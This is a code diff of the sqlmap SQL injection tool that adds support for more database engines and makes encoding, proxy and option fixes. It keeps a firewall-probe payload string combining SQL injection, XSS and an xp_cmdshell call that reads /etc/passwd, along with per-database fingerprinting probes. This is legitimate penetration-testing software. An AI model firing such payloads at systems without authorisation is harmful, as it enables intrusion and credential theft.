return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||
|
||||
@cachedmethod
|
||||
def aliasToDbmsEnum(dbms):
|
||||
@@ -4079,9 +4072,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
@@ -4117,9 +4110,9 @@ def unsafeSQLIdentificatorNaming(name):
|
||||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = name.replace("[", "").replace("]", "")
|
||||
|
||||
@@ -227,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):
|
||||
|
||||
return retVal
|
||||
|
||||
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
||||
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
"""
|
||||
Returns byte representation of provided Unicode value
|
||||
|
||||
@@ -237,9 +237,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
||||
|
||||
retVal = value
|
||||
|
||||
if encoding is None:
|
||||
encoding = conf.get("encoding") or UNICODE_ENCODING
|
||||
|
||||
try:
|
||||
codecs.lookup(encoding)
|
||||
except LookupError:
|
||||
except (LookupError, TypeError):
|
||||
encoding = UNICODE_ENCODING
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
@@ -300,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||
for candidate in candidates:
|
||||
try:
|
||||
return six.text_type(value, candidate)
|
||||
except UnicodeDecodeError:
|
||||
except (UnicodeDecodeError, LookupError):
|
||||
pass
|
||||
|
||||
try:
|
||||
|
||||
@@ -28,7 +28,7 @@ def cachedmethod(f):
|
||||
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
||||
>>> __(2)
|
||||
2
|
||||
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
|
||||
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
|
||||
>>> __(foobar=3)
|
||||
3
|
||||
|
||||
|
||||
@@ -10,20 +10,27 @@ from lib.core.enums import DBMS
|
||||
from lib.core.enums import OS
|
||||
from lib.core.enums import POST_HINT
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import BLANK
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import MCKOI_ALIASES
|
||||
from lib.core.settings import MIMERSQL_ALIASES
|
||||
from lib.core.settings import MONETDB_ALIASES
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PRESTO_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import VERTICA_ALIASES
|
||||
|
||||
FIREBIRD_TYPES = {
|
||||
261: "BLOB",
|
||||
@@ -198,8 +205,16 @@ DBMS_DICT = {
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
|
||||
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
|
||||
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
|
||||
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
|
||||
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||
}
|
||||
|
||||
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||
FROM_DUMMY_TABLE = {
|
||||
DBMS.ORACLE: " FROM DUAL",
|
||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||
@@ -207,7 +222,26 @@ FROM_DUMMY_TABLE = {
|
||||
DBMS.MAXDB: " FROM VERSIONS",
|
||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
|
||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||
}
|
||||
|
||||
HEURISTIC_NULL_EVAL = {
|
||||
DBMS.ACCESS: "CVAR(NULL)",
|
||||
DBMS.MAXDB: "ALPHA(NULL)",
|
||||
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
|
||||
DBMS.MYSQL: "QUARTER(NULL)",
|
||||
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||
DBMS.MONETDB: "CODE(NULL)",
|
||||
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||
DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
|
||||
}
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
|
||||
@@ -107,9 +107,6 @@ class Dump(object):
|
||||
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def getOutputFile(self):
|
||||
return self._outputFile
|
||||
|
||||
def singleString(self, data, content_type=None):
|
||||
self._write(data, content_type=content_type)
|
||||
|
||||
@@ -169,8 +166,10 @@ class Dump(object):
|
||||
def currentDb(self, data):
|
||||
if Backend.isDbms(DBMS.MAXDB):
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
else:
|
||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
|
||||
@@ -641,7 +640,7 @@ class Dump(object):
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
rtable.endTransaction()
|
||||
logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
|
||||
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
|
||||
|
||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
|
||||
@@ -42,9 +42,16 @@ class DBMS(object):
|
||||
PGSQL = "PostgreSQL"
|
||||
SQLITE = "SQLite"
|
||||
SYBASE = "Sybase"
|
||||
INFORMIX = "Informix"
|
||||
HSQLDB = "HSQLDB"
|
||||
H2 = "H2"
|
||||
INFORMIX = "Informix"
|
||||
MONETDB = "MonetDB"
|
||||
DERBY = "Apache Derby"
|
||||
VERTICA = "Vertica"
|
||||
MCKOI = "Mckoi"
|
||||
PRESTO = "Presto"
|
||||
ALTIBASE = "Altibase"
|
||||
MIMERSQL = "MimerSQL"
|
||||
|
||||
class DBMS_DIRECTORY_NAME(object):
|
||||
ACCESS = "access"
|
||||
@@ -60,6 +67,22 @@ class DBMS_DIRECTORY_NAME(object):
|
||||
HSQLDB = "hsqldb"
|
||||
H2 = "h2"
|
||||
INFORMIX = "informix"
|
||||
MONETDB = "monetdb"
|
||||
DERBY = "derby"
|
||||
VERTICA = "vertica"
|
||||
MCKOI = "mckoi"
|
||||
PRESTO = "presto"
|
||||
ALTIBASE = "altibase"
|
||||
MIMERSQL = "mimersql"
|
||||
|
||||
class FORK(object):
|
||||
MARIADB = "MariaDB"
|
||||
MEMSQL = "MemSQL"
|
||||
PERCONA = "Percona"
|
||||
COCKROACHDB = "CockroachDB"
|
||||
TIDB = "TiDB"
|
||||
REDSHIFT = "Amazon Redshift"
|
||||
GREENPLUM = "Greenplum"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
PAYLOAD = 9
|
||||
|
||||
@@ -29,6 +29,7 @@ from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import WIKI_PAGE
|
||||
from thirdparty.six.moves import queue as _queue
|
||||
|
||||
alive = None
|
||||
line = ""
|
||||
process = None
|
||||
queue = None
|
||||
@@ -186,7 +187,7 @@ def runGui(parser):
|
||||
|
||||
center(top)
|
||||
|
||||
while alive:
|
||||
while True:
|
||||
line = ""
|
||||
try:
|
||||
# line = queue.get_nowait()
|
||||
@@ -196,6 +197,9 @@ def runGui(parser):
|
||||
text.see(_tkinter.END)
|
||||
text.update_idletasks()
|
||||
|
||||
if not alive:
|
||||
break
|
||||
|
||||
menubar = _tkinter.Menu(window)
|
||||
|
||||
filemenu = _tkinter.Menu(menubar, tearoff=0)
|
||||
|
||||
@@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
|
||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
@@ -330,8 +331,13 @@ def _setRequestFromFile():
|
||||
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
|
||||
logger.info(infoMsg)
|
||||
|
||||
target = next(parseRequestFile(conf.secondReq, False))
|
||||
kb.secondReq = target
|
||||
try:
|
||||
target = next(parseRequestFile(conf.secondReq, False))
|
||||
kb.secondReq = target
|
||||
except StopIteration:
|
||||
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
|
||||
errMsg += "does not contain a valid HTTP request"
|
||||
raise SqlmapDataException(errMsg)
|
||||
|
||||
def _setCrawler():
|
||||
if not conf.crawlDepth:
|
||||
@@ -341,7 +347,7 @@ def _setCrawler():
|
||||
if conf.url:
|
||||
crawl(conf.url)
|
||||
elif conf.requestFile and kb.targets:
|
||||
target = list(kb.targets)[0]
|
||||
target = next(iter(kb.targets))
|
||||
crawl(target[0], target[2], target[3])
|
||||
|
||||
def _doSearch():
|
||||
@@ -1139,7 +1145,7 @@ def _setSafeVisit():
|
||||
conf.safeUrl = "http://%s" % conf.safeUrl
|
||||
|
||||
if (conf.safeFreq or 0) <= 0:
|
||||
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
|
||||
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
def _setPrefixSuffix():
|
||||
@@ -1729,8 +1735,7 @@ def _cleanupOptions():
|
||||
conf.__setitem__(_, True)
|
||||
|
||||
if conf.noCast:
|
||||
for _ in list(DUMP_REPLACEMENTS.keys()):
|
||||
del DUMP_REPLACEMENTS[_]
|
||||
DUMP_REPLACEMENTS.clear()
|
||||
|
||||
if conf.dumpFormat:
|
||||
conf.dumpFormat = conf.dumpFormat.upper()
|
||||
@@ -1759,6 +1764,13 @@ def _cleanupOptions():
|
||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
|
||||
|
||||
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
|
||||
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
|
||||
debugMsg = "using environment proxy '%s'" % envProxy
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.proxy = envProxy
|
||||
|
||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||
conf.disablePrecon = True
|
||||
|
||||
@@ -1906,6 +1918,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.forcePartialUnion = False
|
||||
kb.forceThreads = None
|
||||
kb.forceWhere = None
|
||||
kb.forkNote = None
|
||||
kb.futileUnion = None
|
||||
kb.heavilyDynamic = False
|
||||
kb.headersFile = None
|
||||
@@ -2602,7 +2615,7 @@ def _basicOptionValidation():
|
||||
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||
errMsg = "option '--crack' should be used as a standalone"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
@@ -2669,7 +2682,7 @@ def init():
|
||||
|
||||
parseTargetDirect()
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
||||
_setHostname()
|
||||
_setHTTPTimeout()
|
||||
_setHTTPExtraHeaders()
|
||||
|
||||
@@ -252,9 +252,6 @@ optDict = {
|
||||
"forceDns": "boolean",
|
||||
"murphyRate": "integer",
|
||||
"smokeTest": "boolean",
|
||||
"liveTest": "boolean",
|
||||
"stopFail": "boolean",
|
||||
"runCase": "string",
|
||||
},
|
||||
|
||||
"API": {
|
||||
|
||||
@@ -26,10 +26,12 @@ from lib.core.common import readInput
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import conf
|
||||
from lib.core.option import _setHTTPHandlers
|
||||
from lib.core.option import setVerbosity
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.request.templates import getPageTemplate
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
def dirtyPatches():
|
||||
@@ -40,6 +42,17 @@ def dirtyPatches():
|
||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||
|
||||
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
|
||||
if six.PY3:
|
||||
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||
def _send_output(self, *args, **kwargs):
|
||||
if conf.chunked and "encode_chunked" in kwargs:
|
||||
kwargs["encode_chunked"] = False
|
||||
self.__send_output(*args, **kwargs)
|
||||
|
||||
_http_client.HTTPConnection._send_output = _send_output
|
||||
|
||||
# add support for inet_pton() on Windows OS
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton
|
||||
|
||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
||||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.4"
|
||||
VERSION = "1.4.2.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
|
||||
PARAMETER_AMP_MARKER = "__AMP__"
|
||||
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
||||
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
||||
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
|
||||
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
||||
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||
@@ -74,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||
INFERENCE_MARKER = "[INFERENCE]"
|
||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
|
||||
|
||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||
CHAR_INFERENCE_MARK = "%c"
|
||||
@@ -257,33 +259,54 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
|
||||
MCKOI_SYSTEM_DBS = ("",)
|
||||
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||
|
||||
# Note: (<regular>) + (<forks>)
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
||||
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
|
||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
||||
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
||||
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||
H2_ALIASES = ("h2",)
|
||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||
DERBY_ALIASES = ("derby", "apache derby",)
|
||||
VERTICA_ALIASES = ("vertica",)
|
||||
MCKOI_ALIASES = ("mckoi",)
|
||||
PRESTO_ALIASES = ("presto",)
|
||||
ALTIBASE_ALIASES = ("altibase",)
|
||||
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))
|
||||
|
||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||
HOST_ALIASES = ("host",)
|
||||
|
||||
# DBMSes with upper case identifiers
|
||||
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
||||
|
||||
# Default schemas to use (when unable to enumerate)
|
||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
VERTICA_DEFAULT_SCHEMA = "public"
|
||||
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||
|
||||
# Names that can't be used to name files on Windows OS
|
||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||
@@ -486,6 +509,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
|
||||
# Prefix for configuration overriding environment variables
|
||||
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
||||
|
||||
# General OS environment variables that can be used for setting proxy address
|
||||
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
|
||||
|
||||
# Turn off resume console info to avoid potential slowdowns
|
||||
TURN_OFF_RESUME_INFO_LIMIT = 20
|
||||
|
||||
@@ -561,11 +587,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
|
||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||
|
||||
# Generic address for checking the Internet connection while using switch --check-internet
|
||||
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
||||
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
|
||||
CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
|
||||
|
||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
||||
CHECK_INTERNET_VALUE = '"ip":'
|
||||
|
||||
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
||||
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||
@@ -659,7 +685,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
||||
|
||||
# Give up on hash recognition if nothing was found in first given number of rows
|
||||
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
|
||||
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
|
||||
|
||||
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
||||
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
||||
@@ -764,7 +790,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
||||
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||
|
||||
# Regular expression used for detecting JSON POST data
|
||||
